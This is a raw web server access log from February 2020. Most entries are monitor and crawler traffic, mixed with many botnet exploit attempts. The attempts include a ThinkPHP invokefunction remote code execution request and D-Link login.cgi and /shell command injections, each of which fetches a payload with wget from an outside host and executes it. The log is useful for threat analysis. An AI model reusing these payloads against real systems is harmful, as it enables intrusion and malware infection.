42.115.192.224 - - [09/Feb/2020:20:17:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.79.31 - - [09/Feb/2020:20:18:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.76.120.221 - - [09/Feb/2020:20:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:20:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.135.90.61 - - [09/Feb/2020:20:26:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.163.125 - - [09/Feb/2020:20:30:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.150.16.31 - - [09/Feb/2020:20:31:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.248.63.174 - - [09/Feb/2020:20:32:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:20:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.53.232.21 - - [09/Feb/2020:20:33:55 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [09/Feb/2020:20:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.73.215.171 - - [09/Feb/2020:20:35:04 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
183.80.89.4 - - [09/Feb/2020:20:35:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.205.43.244 - - [09/Feb/2020:20:35:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:20:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:38:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:39:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:40:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:41:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:42:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.36.114.55 - - [09/Feb/2020:20:42:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:20:43:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:44:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:45:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:46:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.187.71 - - [09/Feb/2020:20:46:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:47:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:48:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.102.54.252 - - [09/Feb/2020:20:48:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:20:49:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.245.231.174 - - [09/Feb/2020:20:49:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
193.106.27.229 - - [09/Feb/2020:20:50:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:20:50:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.192.224 - - [09/Feb/2020:20:50:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:51:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.141.7 - - [09/Feb/2020:20:51:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:52:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.102.63.103 - - [09/Feb/2020:20:53:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:20:53:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:54:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.80.131.149 - - [09/Feb/2020:20:55:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
176.9.4.105 - - [09/Feb/2020:20:55:08 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)"
176.9.4.105 - - [09/Feb/2020:20:55:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; BLEXBot/1.0; +http://webmeup-crawler.com/)"
212.91.246.72 - - [09/Feb/2020:20:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.172.164 - - [09/Feb/2020:20:55:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:20:56:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.208.161.201 - - [09/Feb/2020:20:56:44 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [09/Feb/2020:20:57:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:58:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:20:59:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:00:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:01:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:02:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:03:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.209.198.121 - - [09/Feb/2020:21:03:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.209.198.121 - - [09/Feb/2020:21:03:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
203.150.79.203 - - [09/Feb/2020:21:04:07 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.150.79.203 - - [09/Feb/2020:21:04:08 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.150.79.203 - - [09/Feb/2020:21:04:08 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.150.79.203 - - [09/Feb/2020:21:04:12 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.150.79.203 - - [09/Feb/2020:21:04:12 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.150.79.203 - - [09/Feb/2020:21:04:13 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.150.79.203 - - [09/Feb/2020:21:04:14 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.150.79.203 - - [09/Feb/2020:21:04:14 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.150.79.203 - - [09/Feb/2020:21:04:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.53.177.231 - - [09/Feb/2020:21:04:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:04:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.200.58.82 - - [09/Feb/2020:21:04:35 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
42.116.174.238 - - [09/Feb/2020:21:04:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.164.133.20 - - [09/Feb/2020:21:04:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:05:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:06:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.59.144.188 - - [09/Feb/2020:21:06:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:07:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:08:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:09:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:10:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.248.141.70 - - [09/Feb/2020:21:11:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:11:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.248.141.70 - - [09/Feb/2020:21:11:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.248.141.70 - - [09/Feb/2020:21:12:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:12:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:13:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.235.93.149 - - [09/Feb/2020:21:14:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
183.81.64.61 - - [09/Feb/2020:21:14:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:14:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:16:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:17:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:18:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:19:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:20:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
170.231.143.9 - - [09/Feb/2020:21:20:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:21:21:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:22:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.125.127.170 - - [09/Feb/2020:21:22:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:21:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:24:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:25:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.34.17.50 - - [09/Feb/2020:21:25:34 +0100] "GET / HTTP/1.0" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:21:26:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:28:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:29:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:30:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:31:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.228.240.25 - - [09/Feb/2020:21:31:49 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:21:32:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:33:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:34:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:35:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.98.93.164 - - [09/Feb/2020:21:36:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [09/Feb/2020:21:36:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:21:37:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [09/Feb/2020:21:38:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
118.68.189.74 - - [09/Feb/2020:21:38:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.73.215.171 - - [09/Feb/2020:21:38:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
139.255.113.10 - - [09/Feb/2020:21:38:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
2.132.212.170 - - [09/Feb/2020:21:38:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
